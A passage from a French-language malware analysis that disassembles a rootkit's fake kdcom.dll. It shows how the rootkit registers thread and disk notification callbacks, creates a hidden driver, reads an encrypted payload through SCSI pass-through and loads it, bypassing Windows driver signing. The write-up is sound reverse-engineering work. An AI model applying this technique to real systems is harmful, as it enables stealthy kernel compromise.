Les différences sont plutôts flagrantes, déjà la taille du fichier n'est pas du tout la même :- ldr32 : 3 134 octets.
- kdcom.dll : 7 040 octets ( Windows XP SP3 ).
KdD0Transition
.text:1000172F KdD0Transition proc near ; DATA XREF: .text:off_10001058o
.text:1000172F mov byte_10001800, 1
.text:10001736 xor eax, eax
.text:10001738 retn
.text:10001738 KdD0Transition endp
KdD3Transition
.text:10001739 KdD3Transition proc near ; DATA XREF: .text:off_10001058o
.text:10001739 mov byte_10001800, 2
.text:10001740 xor eax, eax
.text:10001742 retn
.text:10001742 KdD3Transition endp
KdDebuggerInitialize0
.text:100017B5 KdDebuggerInitialize0 proc near ; DATA XREF: .text:off_10001058o
.text:100017B5 mov byte_10001800, 3
.text:100017BC xor eax, eax
.text:100017BE retn 4
.text:100017BE KdDebuggerInitialize0 endp
KdDebuggerInitialize1
A part cette export qui n'est pas n'importe quoi, auquel nous allons jeter un coup d'oeil..text:100017C1 KdDebuggerInitialize1 proc near ; DATA XREF: .text:off_10001058o
.text:100017C1 push offset NotifyRoutine ; NotifyRoutine
.text:100017C6 call PsSetCreateThreadNotifyRoutine
.text:100017CC retn 4
.text:100017CC KdDebuggerInitialize1 endp
L'api PsSetCreateThreadNotifyRoutine() va lui permettre de mettre une fonction de callback ( sub NotifyRoutine ), à chaques fois qu'un thread est créé.La fonction NotifyRoutine, va d'abord tester si elle a déjà été éxécuté ou non, si non, elle va apeller toujours la même api non documented IoCreateDriver() avec comme fonction d'initialisation la sub_10001743.
.text:1000178F NotifyRoutine proc near ; DATA XREF: CallbackRoutine+1E6o
.text:1000178F ; KdDebuggerInitialize1o
.text:1000178F cmp dword_10001808, 0
.text:10001796 jnz short locret_100017B2
.text:10001798 push offset sub_10001743
.text:1000179D push 0
.text:1000179F call IoCreateDriver
.text:100017A5 xor ecx, ecx
.text:100017A7 test eax, eax
.text:100017A9 setns cl
.text:100017AC mov dword_10001808, ecx
.text:100017B2
.text:100017B2 locret_100017B2: ; CODE XREF: NotifyRoutine+7j
.text:100017B2 retn 0Ch
.text:100017B2 NotifyRoutine endp
La routine du driver en question apellera l'api IoRegisterPlugPlayNotification() avec les paramètres :- IO_NOTIFICATION_EVENT_CATEGORY :: EventCategoryDeviceInterfaceChange ( PnP events in this category include the arrival (enabling) of a new instance of a device interface class ).
- EventCategoryFlags :: PNPNOTIFY_DEVICE_INTERFACE_INCLUDE_EXISTING_INTERFACES ( 0x1 ).
- EventCategoryData :: Pointeur sur GUID {53f56307-b6bf-11d0-94f2-00a0c91efb8b} ( Disk Device ).
- DriverObject :: Pointeur sur l'oject_driver courant.
- CallbackRoutine :: Addresse de la fonction CallbackRoutine.
- NotificationEntry :: Pointeur sur un dword, pour la valeur de retour.
.text:10001743 sub_10001743 proc near ; DATA XREF: NotifyRoutine+9o
.text:10001743
.text:10001743 EventCategoryData= dword ptr -10h
.text:10001743 var_C = word ptr -0Ch
.text:10001743 var_A = dword ptr -0Ah
.text:10001743 var_6 = dword ptr -6
.text:10001743 var_2 = word ptr -2
.text:10001743 Context = dword ptr 8
.text:10001743
.text:10001743 push ebp
.text:10001744 mov ebp, esp
.text:10001746 sub esp, 10h
.text:10001749 push offset NotificationEntry ; NotificationEntry
.text:1000174E push [ebp+Context] ; Context
.text:10001751 mov eax, 0B6BFh
.text:10001756 push offset CallbackRoutine ; CallbackRoutine
.text:1000175B push [ebp+Context] ; DriverObject
.text:1000175E mov [ebp+var_C], ax
.text:10001762 lea eax, [ebp+EventCategoryData]
.text:10001765 push eax ; EventCategoryData
.text:10001766 push 1 ; EventCategoryFlags
.text:10001768 push 2 ; EventCategory
.text:1000176A mov [ebp+EventCategoryData], 53F56307h
.text:10001771 mov [ebp+var_A], 0F29411D0h
.text:10001778 mov [ebp+var_6], 1EC9A000h
.text:1000177F mov [ebp+var_2], 8BFBh
.text:10001785 call IoRegisterPlugPlayNotification
.text:1000178B leave
.text:1000178C retn 8
.text:1000178C sub_10001743 endp
La fonction de callback est du code que l'on connait déjà, des appels à ZwDeviceIoControlFile avec comme code IOCTL 0x4D014 ( IOCTL_SCSI_PASS_THROUGH_DIRECT ), pour récupérer le nombre de secteur, son fichier de configuration, rc4, charger le driver 32 ou 64 en mémoire, et sauter sur son entrypoint..text:10001394 call eax
Voilà comment bypasser avec élégance, la signature des drivers qui est apparu lors de la sortie de Vista.